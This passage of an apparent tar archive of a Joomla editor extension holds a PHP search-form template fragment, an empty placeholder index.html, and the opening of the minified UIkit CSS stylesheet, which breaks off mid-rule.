            <legend><?php echo JText::_('WF_SEARCH_SEARCH_ONLY'); ?></legend>
            <ul>
            <?php
            foreach ($this->searchareas as $val => $txt) :
                ?>
                <li>
                    <input type="checkbox" name="areas[]" value="<?php echo $val; ?>" id="area-<?php echo $val; ?>" />
                <label for="area-<?php echo $val; ?>">
                    <?php echo JText::_($txt); ?>
                </label>
                </li>
            <?php endforeach; ?>
            </ul>
        </fieldset>
    </div>

    <div id="search-result" class="uk-dropdown uk-padding-remove"></div>
</div>
editor/libraries/views/index.html000060400000000054150750527150013142 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/uikit/uikit.min.css000060400000376153150750527150013576 0ustar00progress,sub,sup{vertical-align:baseline}.uk-panel,sub,sup{position:relative}.uk-article-title,.uk-panel-title{text-transform:none;font-weight:400}.uk-button-group,.uk-dotnav>*>*,.uk-dropdown-small,.uk-modal-caption,.uk-text-nowrap,.uk-text-truncate{white-space:nowrap}.uk-accordion-content:after,.uk-article:after,.uk-block:after,.uk-clearfix:after,.uk-comment-header:after,.uk-container:after,.uk-datepicker-nav:after,.uk-dotnav:after,.uk-form-row:after,.uk-grid:after,.uk-htmleditor-content:after,.uk-htmleditor-navbar:after,.uk-list>li:after,.uk-navbar:after,.uk-pagination:after,.uk-panel:after,.uk-subnav:after,.uk-tab:after,.uk-thumbnav:after{clear:both}.uk-nestable a,.uk-nestable img,.uk-sortable a,.uk-sortable img{-webkit-touch-callout:none}.uk-nestable-dragged,.uk-nestable-moving iframe,.uk-slider img,.uk-sortable-dragged,.uk-sortable-moving iframe{pointer-events:none}html{font:400 12px/20px "Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;background:#fff;color:#444}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}.uk-link,a{color:#337ab7;text-decoration:none;cursor:pointer}.uk-link:hover,a:hover{color:#23527c;text-decoration:underline}.uk-article-title a,.uk-nav li>a,.uk-navbar-nav>li>a,.uk-panel,.uk-panel:hover,ins{text-decoration:none}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}:not(pre)>code,:not(pre)>kbd,:not(pre)>samp{font-size:10px;font-family:Consolas,monospace,serif;color:#c7254e;white-space:nowrap;padding:0 4px;border:1px solid #ddd;border-radius:3px;background:#fafafa}em,ins,mark,pre{color:#444}hr,img{border:0}ins{background:#ffa}mark{background:#fcf8e1}q{font-style:italic}small{font-size:80%}sub,sup{font-size:75%;line-height:0}sup{top:-.5em}sub{bottom:-.25em}audio,canvas,iframe,img,svg,video{vertical-align:middle}audio,canvas,img,svg,video{max-width:100%;height:auto;box-sizing:border-box}.uk-img-preserve,.uk-img-preserve audio,.uk-img-preserve canvas,.uk-img-preserve img,.uk-img-preserve svg,.uk-img-preserve video{max-width:none}svg:not(:root){overflow:hidden}address,blockquote,dl,fieldset,figure,ol,p,pre,ul{margin:0 0 15px}*+address,*+blockquote,*+dl,*+fieldset,*+figure,*+ol,*+p,*+pre,*+ul{margin-top:15px}h1,h2,h3,h4,h5,h6{margin:0 0 15px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:400;color:#444;text-transform:none}*+h1,*+h2,*+h3,*+h4,*+h5,*+h6{margin-top:25px}.uk-h1,h1{font-size:31px;line-height:36px}.uk-h2,h2{font-size:21px;line-height:27px}.uk-h3,h3{font-size:15px;line-height:20px}.uk-h4,h4{font-size:14px;line-height:19px}.uk-h5,h5{font-size:12px;line-height:20px}.uk-h6,h6{font-size:10px;line-height:15px}ol,ul{padding-left:30px}ol>li>ol,ol>li>ul,ul>li>ol,ul>li>ul{margin:0}dt{font-weight:700}dd{margin-left:0}hr{box-sizing:content-box;height:0;margin:15px 0;border-top:1px solid #ddd}address{font-style:normal}blockquote{padding-left:15px;border-left:5px solid #ddd;font-size:14px;line-height:19px;font-style:italic}pre{padding:10px;background:#fafafa;font:10px/15px Consolas,monospace,serif;-moz-tab-size:4;tab-size:4;overflow:auto;border:1px solid #ddd;border-radius:3px}::-moz-selection{background:#337ab7;color:#fff;text-shadow:none}::selection{background:#337ab7;color:#fff;text-shadow:none}article,aside,details,figcaption,figure,footer,header,main,nav,section,summary{display:block}[hidden],audio:not([controls]),template{display:none}iframe{border:0}@media screen and (max-width:400px){@-ms-viewport{width:device-width}}.uk-grid{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap;margin:0;padding:0;list-style:none}.uk-grid:after,.uk-grid:before{content:"";display:block;overflow:hidden}.uk-grid>*{-ms-flex:none;-webkit-flex:none;flex:none;margin:0;float:left;padding-left:25px}.uk-grid>*>:last-child{margin-bottom:0}.uk-grid{margin-left:-25px}.uk-grid+.uk-grid,.uk-grid-margin,.uk-grid>*>.uk-panel+.uk-panel{margin-top:25px}@media (min-width:1220px){.uk-grid{margin-left:-35px}.uk-grid>*{padding-left:35px}.uk-grid+.uk-grid,.uk-grid-margin,.uk-grid>*>.uk-panel+.uk-panel{margin-top:35px}}.uk-grid-collapse{margin-left:0}.uk-grid-collapse>*{padding-left:0}.uk-grid-collapse+.uk-grid-collapse,.uk-grid-collapse>*>.uk-panel+.uk-panel,.uk-grid-collapse>.uk-grid-margin{margin-top:0}.uk-grid-small{margin-left:-10px}.uk-grid-small>*{padding-left:10px}.uk-grid-small+.uk-grid-small,.uk-grid-small>*>.uk-panel+.uk-panel,.uk-grid-small>.uk-grid-margin{margin-top:10px}.uk-grid-medium{margin-left:-25px}.uk-grid-medium>*{padding-left:25px}.uk-grid-medium+.uk-grid-medium,.uk-grid-medium>*>.uk-panel+.uk-panel,.uk-grid-medium>.uk-grid-margin{margin-top:25px}@media (min-width:960px){.uk-grid-large{margin-left:-35px}.uk-grid-large>*{padding-left:35px}.uk-grid-large+.uk-grid-large,.uk-grid-large-margin,.uk-grid-large>*>.uk-panel+.uk-panel{margin-top:35px}}@media (min-width:1220px){.uk-grid-large{margin-left:-50px}.uk-grid-large>*{padding-left:50px}.uk-grid-large+.uk-grid-large,.uk-grid-large-margin,.uk-grid-large>*>.uk-panel+.uk-panel{margin-top:50px}}.uk-grid-divider:not(:empty){margin-left:-25px;margin-right:-25px}.uk-grid-divider>*{padding-left:25px;padding-right:25px}.uk-grid-divider>[class*=uk-width-9-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-1-]:not(.uk-width-1-1):nth-child(n+2),.uk-grid-divider>[class*=uk-width-2-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-3-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-4-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-5-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-6-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-7-]:nth-child(n+2),.uk-grid-divider>[class*=uk-width-8-]:nth-child(n+2){border-left:1px solid #ddd}@media (min-width:768px){.uk-grid-divider>[class*=uk-width-medium-]:not(.uk-width-medium-1-1):nth-child(n+2){border-left:1px solid #ddd}}@media (min-width:960px){.uk-grid-divider>[class*=uk-width-large-]:not(.uk-width-large-1-1):nth-child(n+2){border-left:1px solid #ddd}}@media (min-width:1220px){.uk-grid-divider:not(:empty){margin-left:-35px;margin-right:-35px}.uk-grid-divider>*{padding-left:35px;padding-right:35px}.uk-grid-divider:empty{margin-top:35px;margin-bottom:35px}}.uk-grid-divider:empty{margin-top:25px;margin-bottom:25px;border-top:1px solid #ddd}.uk-grid-match>*{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap}.uk-grid-match>*>*{-ms-flex:none;-webkit-flex:none;flex:none;box-sizing:border-box;width:100%}[class*=uk-grid-width]>*{box-sizing:border-box;width:100%}.uk-grid-width-1-2>*{width:50%}.uk-grid-width-1-3>*{width:33.333%}.uk-grid-width-1-4>*{width:25%}.uk-grid-width-1-5>*{width:20%}.uk-grid-width-1-6>*{width:16.666%}.uk-grid-width-1-10>*{width:10%}.uk-grid-width-auto>*{width:auto}@media (min-width:480px){.uk-grid-width-small-1-1>*{width:100%}.uk-grid-width-small-1-2>*{width:50%}.uk-grid-width-small-1-3>*{width:33.333%}.uk-grid-width-small-1-4>*{width:25%}.uk-grid-width-small-1-5>*{width:20%}.uk-grid-width-small-1-6>*{width:16.666%}.uk-grid-width-small-1-10>*{width:10%}}@media (min-width:768px){.uk-grid-width-medium-1-1>*{width:100%}.uk-grid-width-medium-1-2>*{width:50%}.uk-grid-width-medium-1-3>*{width:33.333%}.uk-grid-width-medium-1-4>*{width:25%}.uk-grid-width-medium-1-5>*{width:20%}.uk-grid-width-medium-1-6>*{width:16.666%}.uk-grid-width-medium-1-10>*{width:10%}}@media (min-width:960px){.uk-grid-width-large-1-1>*{width:100%}.uk-grid-width-large-1-2>*{width:50%}.uk-grid-width-large-1-3>*{width:33.333%}.uk-grid-width-large-1-4>*{width:25%}.uk-grid-width-large-1-5>*{width:20%}.uk-grid-width-large-1-6>*{width:16.666%}.uk-grid-width-large-1-10>*{width:10%}}@media (min-width:1220px){.uk-grid-width-xlarge-1-1>*{width:100%}.uk-grid-width-xlarge-1-2>*{width:50%}.uk-grid-width-xlarge-1-3>*{width:33.333%}.uk-grid-width-xlarge-1-4>*{width:25%}.uk-grid-width-xlarge-1-5>*{width:20%}.uk-grid-width-xlarge-1-6>*{width:16.666%}.uk-grid-width-xlarge-1-10>*{width:10%}}[class*=uk-width]{box-sizing:border-box;width:100%}.uk-width-1-1{width:100%}.uk-width-1-2,.uk-width-2-4,.uk-width-3-6,.uk-width-5-10{width:50%}.uk-width-1-3,.uk-width-2-6{width:33.333%}.uk-width-2-3,.uk-width-4-6{width:66.666%}.uk-width-1-4{width:25%}.uk-width-3-4{width:75%}.uk-width-1-5,.uk-width-2-10{width:20%}.uk-width-2-5,.uk-width-4-10{width:40%}.uk-width-3-5,.uk-width-6-10{width:60%}.uk-width-4-5,.uk-width-8-10{width:80%}.uk-width-1-6{width:16.666%}.uk-width-5-6{width:83.333%}.uk-width-1-10{width:10%}.uk-width-3-10{width:30%}.uk-width-7-10{width:70%}.uk-width-9-10{width:90%}@media (min-width:480px){.uk-width-small-1-1{width:100%}.uk-width-small-1-2,.uk-width-small-2-4,.uk-width-small-3-6,.uk-width-small-5-10{width:50%}.uk-width-small-1-3,.uk-width-small-2-6{width:33.333%}.uk-width-small-2-3,.uk-width-small-4-6{width:66.666%}.uk-width-small-1-4{width:25%}.uk-width-small-3-4{width:75%}.uk-width-small-1-5,.uk-width-small-2-10{width:20%}.uk-width-small-2-5,.uk-width-small-4-10{width:40%}.uk-width-small-3-5,.uk-width-small-6-10{width:60%}.uk-width-small-4-5,.uk-width-small-8-10{width:80%}.uk-width-small-1-6{width:16.666%}.uk-width-small-5-6{width:83.333%}.uk-width-small-1-10{width:10%}.uk-width-small-3-10{width:30%}.uk-width-small-7-10{width:70%}.uk-width-small-9-10{width:90%}}@media (min-width:768px){.uk-width-medium-1-1{width:100%}.uk-width-medium-1-2,.uk-width-medium-2-4,.uk-width-medium-3-6,.uk-width-medium-5-10{width:50%}.uk-width-medium-1-3,.uk-width-medium-2-6{width:33.333%}.uk-width-medium-2-3,.uk-width-medium-4-6{width:66.666%}.uk-width-medium-1-4{width:25%}.uk-width-medium-3-4{width:75%}.uk-width-medium-1-5,.uk-width-medium-2-10{width:20%}.uk-width-medium-2-5,.uk-width-medium-4-10{width:40%}.uk-width-medium-3-5,.uk-width-medium-6-10{width:60%}.uk-width-medium-4-5,.uk-width-medium-8-10{width:80%}.uk-width-medium-1-6{width:16.666%}.uk-width-medium-5-6{width:83.333%}.uk-width-medium-1-10{width:10%}.uk-width-medium-3-10{width:30%}.uk-width-medium-7-10{width:70%}.uk-width-medium-9-10{width:90%}}@media (min-width:960px){.uk-width-large-1-1{width:100%}.uk-width-large-1-2,.uk-width-large-2-4,.uk-width-large-3-6,.uk-width-large-5-10{width:50%}.uk-width-large-1-3,.uk-width-large-2-6{width:33.333%}.uk-width-large-2-3,.uk-width-large-4-6{width:66.666%}.uk-width-large-1-4{width:25%}.uk-width-large-3-4{width:75%}.uk-width-large-1-5,.uk-width-large-2-10{width:20%}.uk-width-large-2-5,.uk-width-large-4-10{width:40%}.uk-width-large-3-5,.uk-width-large-6-10{width:60%}.uk-width-large-4-5,.uk-width-large-8-10{width:80%}.uk-width-large-1-6{width:16.666%}.uk-width-large-5-6{width:83.333%}.uk-width-large-1-10{width:10%}.uk-width-large-3-10{width:30%}.uk-width-large-7-10{width:70%}.uk-width-large-9-10{width:90%}}@media (min-width:1220px){.uk-width-xlarge-1-1{width:100%}.uk-width-xlarge-1-2,.uk-width-xlarge-2-4,.uk-width-xlarge-3-6,.uk-width-xlarge-5-10{width:50%}.uk-width-xlarge-1-3,.uk-width-xlarge-2-6{width:33.333%}.uk-width-xlarge-2-3,.uk-width-xlarge-4-6{width:66.666%}.uk-width-xlarge-1-4{width:25%}.uk-width-xlarge-3-4{width:75%}.uk-width-xlarge-1-5,.uk-width-xlarge-2-10{width:20%}.uk-width-xlarge-2-5,.uk-width-xlarge-4-10{width:40%}.uk-width-xlarge-3-5,.uk-width-xlarge-6-10{width:60%}.uk-width-xlarge-4-5,.uk-width-xlarge-8-10{width:80%}.uk-width-xlarge-1-6{width:16.666%}.uk-width-xlarge-5-6{width:83.333%}.uk-width-xlarge-1-10{width:10%}.uk-width-xlarge-3-10{width:30%}.uk-width-xlarge-7-10{width:70%}.uk-width-xlarge-9-10{width:90%}}@media (min-width:768px){[class*=uk-push-],[class*=uk-pull-]{position:relative}.uk-push-1-2,.uk-push-2-4,.uk-push-3-6,.uk-push-5-10{left:50%}.uk-push-1-3,.uk-push-2-6{left:33.333%}.uk-push-2-3,.uk-push-4-6{left:66.666%}.uk-push-1-4{left:25%}.uk-push-3-4{left:75%}.uk-push-1-5,.uk-push-2-10{left:20%}.uk-push-2-5,.uk-push-4-10{left:40%}.uk-push-3-5,.uk-push-6-10{left:60%}.uk-push-4-5,.uk-push-8-10{left:80%}.uk-push-1-6{left:16.666%}.uk-push-5-6{left:83.333%}.uk-push-1-10{left:10%}.uk-push-3-10{left:30%}.uk-push-7-10{left:70%}.uk-push-9-10{left:90%}.uk-pull-1-2,.uk-pull-2-4,.uk-pull-3-6,.uk-pull-5-10{left:-50%}.uk-pull-1-3,.uk-pull-2-6{left:-33.333%}.uk-pull-2-3,.uk-pull-4-6{left:-66.666%}.uk-pull-1-4{left:-25%}.uk-pull-3-4{left:-75%}.uk-pull-1-5,.uk-pull-2-10{left:-20%}.uk-pull-2-5,.uk-pull-4-10{left:-40%}.uk-pull-3-5,.uk-pull-6-10{left:-60%}.uk-pull-4-5,.uk-pull-8-10{left:-80%}.uk-pull-1-6{left:-16.666%}.uk-pull-5-6{left:-83.333%}.uk-pull-1-10{left:-10%}.uk-pull-3-10{left:-30%}.uk-pull-7-10{left:-70%}.uk-pull-9-10{left:-90%}}.uk-panel{display:block}.uk-panel:after,.uk-panel:before{content:"";display:table}.uk-panel>:not(.uk-panel-title):last-child{margin-bottom:0}.uk-panel-teaser,.uk-panel-title{margin-bottom:15px}.uk-panel-title{margin-top:0;font-size:15px;line-height:20px;color:#444}.uk-panel-badge{position:absolute;top:0;right:0;z-index:1}.uk-panel-box .uk-panel-badge,.uk-panel-hover .uk-panel-badge{top:10px;right:10px}.uk-panel-body{padding:15px}.uk-panel-box{padding:15px;background:#fafafa;color:#444;border:1px solid #ddd;border-radius:2px}.uk-panel-box .uk-panel-title,.uk-panel-box-hover:hover{color:#444}.uk-panel-box>.uk-panel-teaser{margin-top:-16px;margin-left:-16px;margin-right:-16px}.uk-panel-box>.uk-nav-side{margin:0 -15px}.uk-article>:last-child,.uk-block>:last-child{margin-bottom:0}.uk-panel-box-primary{background-color:#ebf7fd;color:#2d7091;border-color:rgba(45,112,145,.3)}.uk-panel-box-primary .uk-panel-title,.uk-panel-box-primary-hover:hover{color:#2d7091}.uk-panel-box-secondary{background-color:#fff;color:#444}.uk-panel-box-secondary .uk-panel-title,.uk-panel-box-secondary-hover:hover{color:#444}.uk-panel-hover{padding:15px;color:#444;border:1px solid transparent;border-radius:2px}.uk-panel-hover:hover{background:#fafafa;color:#444;border-color:#ddd}.uk-panel-hover>.uk-panel-teaser{margin-top:-16px;margin-left:-16px;margin-right:-16px}.uk-panel-header .uk-panel-title{padding-bottom:10px;border-bottom:1px solid #ddd;color:#444}.uk-panel-space{padding:30px}.uk-panel-space .uk-panel-badge{top:30px;right:30px}.uk-panel+.uk-panel-divider{margin-top:50px!important}.uk-panel+.uk-panel-divider:before{content:"";display:block;position:absolute;top:-25px;left:0;right:0;border-top:1px solid #ddd}.uk-article:after,.uk-article:before,.uk-block:after,.uk-block:before,.uk-comment-header:after,.uk-comment-header:before{content:"";display:table}@media (min-width:1220px){.uk-panel+.uk-panel-divider{margin-top:70px!important}.uk-panel+.uk-panel-divider:before{top:-35px}}.uk-panel-box .uk-panel-teaser{border-top-left-radius:2px;border-top-right-radius:2px;overflow:hidden;-webkit-transform:translateZ(0)}.uk-block{position:relative;box-sizing:border-box;padding-top:20px;padding-bottom:20px}@media (min-width:768px){.uk-block{padding-top:50px;padding-bottom:50px}}.uk-block-large{padding-top:20px;padding-bottom:20px}@media (min-width:768px){.uk-block-large{padding-top:50px;padding-bottom:50px}}@media (min-width:960px){.uk-block-large{padding-top:100px;padding-bottom:100px}}.uk-block-default{background:#fff}.uk-block-muted{background:#f9f9f9}.uk-block-primary{background:#337ab7}.uk-block-secondary{background:#222}.uk-block-default+.uk-block-default,.uk-block-muted+.uk-block-muted,.uk-block-primary+.uk-block-primary,.uk-block-secondary+.uk-block-secondary{padding-top:0}.uk-article-title{font-size:31px;line-height:36px}.uk-article-title a{color:inherit}.uk-article-meta{font-size:10px;line-height:15px;color:#999}.uk-article-lead{color:#444;font-size:15px;line-height:20px;font-weight:400}.uk-article-divider{margin-bottom:25px;border-color:#ddd}*+.uk-article-divider{margin-top:25px}.uk-article+.uk-article{margin-top:25px;padding-top:25px;border-top:1px solid #ddd}.uk-comment-header{margin-bottom:15px;padding:10px;border:1px solid #ddd;border-radius:2px;background:#fafafa}.uk-comment-avatar{margin-right:15px;float:left}.uk-comment-title{margin:5px 0 0;font-size:14px;line-height:19px}.uk-comment-meta{margin:2px 0 0;font-size:9px;line-height:13px;color:#999}.uk-comment-body{padding-left:10px;padding-right:10px}.uk-comment-body>:last-child{margin-bottom:0}.uk-comment-list{padding:0;list-style:none}.uk-comment-list .uk-comment+ul{margin:25px 0 0;list-style:none}.uk-comment-list .uk-comment+ul>li:nth-child(n+2),.uk-comment-list>li:nth-child(n+2){margin-top:25px}@media (min-width:768px){.uk-comment-list .uk-comment+ul{padding-left:100px}}.uk-comment-primary .uk-comment-header{border-color:rgba(45,112,145,.3);background-color:#d9edf7;color:#2d7091;text-shadow:0 1px 0 #fff}.uk-nav-dropdown .uk-nav-divider,.uk-nav-navbar .uk-nav-divider{border-top:1px solid #ddd}.uk-cover-background{background-position:50% 50%;background-size:cover;background-repeat:no-repeat}.uk-cover{overflow:hidden}.uk-cover-object{width:auto;height:auto;min-width:100%;min-height:100%;max-width:none;position:relative;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}[data-uk-cover]{position:relative;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.uk-nav,.uk-nav ul{margin:0;padding:0;list-style:none}.uk-nav li>a{display:block}.uk-nav>li>a{padding:5px 15px}.uk-nav ul{padding-left:15px}.uk-nav ul a{padding:2px 0}.uk-nav li>a>div{font-size:10px;line-height:15px}.uk-nav-header{padding:5px 15px;text-transform:uppercase;font-weight:700;font-size:10px}.uk-nav-header:not(:first-child){margin-top:15px}.uk-nav-divider{margin:9px 15px}ul.uk-nav-sub{padding:5px 0 5px 15px}.uk-nav-parent-icon>.uk-parent>a:after{content:"\f104";width:20px;margin-right:-10px;float:right;font-family:FontAwesome;text-align:center}.uk-nav-parent-icon>.uk-parent.uk-open>a:after{content:"\f107"}.uk-nav-side>li>a{color:#444}.uk-nav-side>li>a:focus,.uk-nav-side>li>a:hover{background:rgba(0,0,0,.03);color:#444;outline:0;box-shadow:inset 0 0 1px rgba(0,0,0,.06);text-shadow:0 -1px 0 #fff}.uk-nav-side>li.uk-active>a{background:#337ab7;color:#fff;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-nav-side .uk-nav-header{color:#444}.uk-nav-side .uk-nav-divider{border-top:1px solid #ddd;box-shadow:0 1px 0 #fff}.uk-nav-side ul a{color:#337ab7}.uk-nav-side ul a:hover{color:#23527c}.uk-nav-dropdown>li>a{color:#444}.uk-nav-dropdown>li>a:focus,.uk-nav-dropdown>li>a:hover{background:#337ab7;color:#fff;outline:0;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-nav-dropdown .uk-nav-header{color:#999}.uk-nav-dropdown ul a{color:#337ab7}.uk-nav-dropdown ul a:hover{color:#23527c}.uk-nav-navbar>li>a{color:#444}.uk-nav-navbar>li>a:focus,.uk-nav-navbar>li>a:hover{background:#337ab7;color:#fff;outline:0;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-nav-navbar .uk-nav-header{color:#999}.uk-nav-offcanvas .uk-nav-header,.uk-nav-offcanvas>li>a{border-top:1px solid rgba(0,0,0,.3);text-shadow:0 1px 0 rgba(0,0,0,.5)}.uk-nav-navbar ul a{color:#337ab7}.uk-nav-navbar ul a:hover{color:#23527c}.uk-nav-offcanvas>li>a{color:#ccc;padding:10px 15px;box-shadow:inset 0 1px 0 rgba(255,255,255,.05)}.uk-nav-offcanvas>.uk-open>a,html:not(.uk-touch) .uk-nav-offcanvas>li>a:focus,html:not(.uk-touch) .uk-nav-offcanvas>li>a:hover{background:#404040;color:#fff;outline:0}html .uk-nav.uk-nav-offcanvas>li.uk-active>a{background:#1a1a1a;color:#fff;box-shadow:inset 0 1px 3px rgba(0,0,0,.3)}.uk-nav-offcanvas .uk-nav-header{color:#777;margin-top:0;background:#404040;box-shadow:inset 0 1px 0 rgba(255,255,255,.05)}.uk-nav-offcanvas .uk-nav-divider{border-top:1px solid rgba(255,255,255,.01);margin:0;height:4px;background:rgba(0,0,0,.2);box-shadow:inset 0 1px 3px rgba(0,0,0,.3)}.uk-nav-offcanvas ul a{color:#ccc}html:not(.uk-touch) .uk-nav-offcanvas ul a:hover{color:#fff}.uk-nav-offcanvas{border-bottom:1px solid rgba(0,0,0,.3);box-shadow:0 1px 0 rgba(255,255,255,.05)}.uk-nav-offcanvas .uk-nav-sub{border-top:1px solid rgba(0,0,0,.3);box-shadow:inset 0 1px 0 rgba(255,255,255,.05)}.uk-navbar{background:#f5f5f5;color:#444;border:1px solid rgba(0,0,0,.06);border-radius:2px}.uk-navbar:after,.uk-navbar:before{content:"";display:table}.uk-navbar-nav{margin:0;padding:0;list-style:none;float:left}.uk-navbar-nav>li{float:left;position:relative}.uk-navbar-nav>li>a{display:block;box-sizing:border-box;height:41px;padding:0 15px;line-height:40px;color:#444;font-size:12px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:400;margin-top:-1px;margin-left:-1px;border:1px solid transparent;border-bottom-width:0;text-shadow:0 1px 0 #fff}.uk-navbar-nav>li.uk-active>a,.uk-navbar-nav>li>a:active{color:#444;border-left-color:rgba(0,0,0,.1);border-right-color:rgba(0,0,0,.1)}.uk-navbar-nav>li>a[href='#']{cursor:text}.uk-navbar-nav>li.uk-open>a,.uk-navbar-nav>li:hover>a,.uk-navbar-nav>li>a:focus{background-color:#fafafa;color:#444;outline:0;position:relative;z-index:1;border-left-color:rgba(0,0,0,.1);border-right-color:rgba(0,0,0,.1);border-top-color:rgba(0,0,0,.1)}.uk-navbar-nav>li>a:active{background-color:#eee;border-top-color:rgba(0,0,0,.2)}.uk-navbar-nav>li.uk-active>a{background-color:#fafafa;border-top-color:rgba(0,0,0,.1)}.uk-navbar-nav .uk-navbar-nav-subtitle{line-height:28px}.uk-navbar-nav-subtitle>div{margin-top:-7px;font-size:10px;line-height:12px}.uk-navbar-brand,.uk-navbar-toggle{font-size:15px;text-decoration:none}.uk-navbar-brand,.uk-navbar-content,.uk-navbar-toggle{box-sizing:border-box;display:block;height:41px;padding:0 15px;float:left;margin-top:-1px;text-shadow:0 1px 0 #fff}.uk-navbar-brand:before,.uk-navbar-content:before,.uk-navbar-toggle:before{content:'';display:inline-block;height:100%;vertical-align:middle}.uk-navbar-content+.uk-navbar-content:not(.uk-navbar-center){padding-left:0}.uk-navbar-content>a:not([class]){color:#337ab7}.uk-navbar-content>a:not([class]):hover{color:#23527c}.uk-navbar-brand{color:#444}.uk-navbar-brand:focus,.uk-navbar-brand:hover{color:#444;text-decoration:none;outline:0}.uk-navbar-toggle{color:#444}.uk-navbar-toggle:focus,.uk-navbar-toggle:hover{color:#444;text-decoration:none;outline:0}.uk-navbar-toggle:after{content:"\f0c9";font-family:FontAwesome;vertical-align:middle}.uk-navbar-toggle-alt:after{content:"\f002"}.uk-navbar-center{float:none;text-align:center;max-width:50%;margin-left:auto;margin-right:auto}.uk-navbar-flip{float:right}.uk-navbar-nav:first-child>li:first-child>a{border-top-left-radius:2px;border-bottom-left-radius:2px}.uk-navbar-flip .uk-navbar-nav>li>a{margin-left:0;margin-right:-1px}.uk-navbar-flip .uk-navbar-nav:first-child>li:first-child>a{border-top-left-radius:0;border-bottom-left-radius:0}.uk-navbar-flip .uk-navbar-nav:last-child>li:last-child>a{border-top-right-radius:2px;border-bottom-right-radius:2px}.uk-navbar-attached{border-top-color:transparent;border-left-color:transparent;border-right-color:transparent;border-radius:0}.uk-navbar-attached .uk-navbar-nav>li>a{border-radius:0!important}.uk-subnav{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap;margin-left:-10px;margin-top:-10px;padding:0;list-style:none}.uk-subnav>*{-ms-flex:none;-webkit-flex:none;flex:none;padding-left:10px;margin-top:10px;position:relative;float:left}.uk-subnav:after,.uk-subnav:before{content:"";display:block;overflow:hidden}.uk-breadcrumb>li,.uk-breadcrumb>li>a,.uk-breadcrumb>li>span,.uk-subnav-line>:before,.uk-subnav>*>*{display:inline-block}.uk-subnav>*>*{color:#444}.uk-subnav>*>:focus,.uk-subnav>*>:hover{color:#337ab7;text-decoration:none}.uk-subnav>.uk-active>*{color:#337ab7}.uk-subnav-line>:before{content:"";height:10px;vertical-align:middle}.uk-breadcrumb>li,.uk-pagination>li,.uk-table td{vertical-align:top}.uk-subnav-line>:nth-child(n+2):before{margin-right:10px;border-left:1px solid #ddd}.uk-subnav-pill>*>*{padding:3px 9px;border-radius:2px}.uk-subnav-pill>*>:focus,.uk-subnav-pill>*>:hover{background:#fafafa;color:#444;text-decoration:none;outline:0;box-shadow:0 0 0 1px rgba(0,0,0,.15)}.uk-subnav-pill>.uk-active>*{background:#337ab7;color:#fff;box-shadow:inset 0 0 5px rgba(0,0,0,.05)}.uk-subnav>.uk-disabled>*{background:0 0;color:#999;text-decoration:none;cursor:text;box-shadow:none}.uk-breadcrumb{padding:0;list-style:none;font-size:0}.uk-breadcrumb>li{font-size:1rem}.uk-breadcrumb>li:nth-child(n+2):before{content:"/";display:inline-block;margin:0 8px}.uk-breadcrumb>li:not(.uk-active)>span{color:#999}.uk-pagination{padding:0;list-style:none;text-align:center;font-size:0}.uk-pagination:after,.uk-pagination:before{content:"";display:table}.uk-pagination>li{display:inline-block;font-size:1rem}.uk-pagination>li:nth-child(n+2){margin-left:5px}.uk-pagination>li>a,.uk-pagination>li>span{display:inline-block;min-width:16px;padding:3px 5px;line-height:20px;text-decoration:none;box-sizing:content-box;text-align:center;border:1px solid rgba(0,0,0,.06);border-radius:2px}.uk-pagination>li>a{background:#f5f5f5;color:#444;text-shadow:0 1px 0 #fff}.uk-pagination>li>a:focus,.uk-pagination>li>a:hover{background-color:#fafafa;color:#444;outline:0;border-color:rgba(0,0,0,.16)}.uk-pagination>li>a:active{background-color:#eee;color:#444}.uk-pagination>.uk-active>span{background:#337ab7;color:#fff;border-color:transparent;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-button,.uk-button:disabled,.uk-tab>li>a{text-shadow:0 1px 0 #fff}.uk-pagination>.uk-disabled>span{background-color:#fafafa;color:#999;border:1px solid rgba(0,0,0,.06);text-shadow:0 1px 0 #fff}.uk-pagination-previous{float:left}.uk-pagination-next{float:right}.uk-pagination-left{text-align:left}.uk-pagination-right{text-align:right}.uk-tab-center .uk-tab>li>a,.uk-tab-grid>li>a{text-align:center}.uk-tab{margin:0;padding:0;list-style:none;border-bottom:1px solid #ddd}.uk-tab:after,.uk-tab:before{content:"";display:table}.uk-tab>li{margin-bottom:-1px;float:left;position:relative}.uk-alert>.uk-close:first-child,.uk-tab-center .uk-tab,.uk-tab-flip>li{float:right}.uk-tab>li>a{display:block;padding:8px 12px;border:1px solid transparent;border-bottom-width:0;color:#337ab7;text-decoration:none;border-radius:2px 2px 0 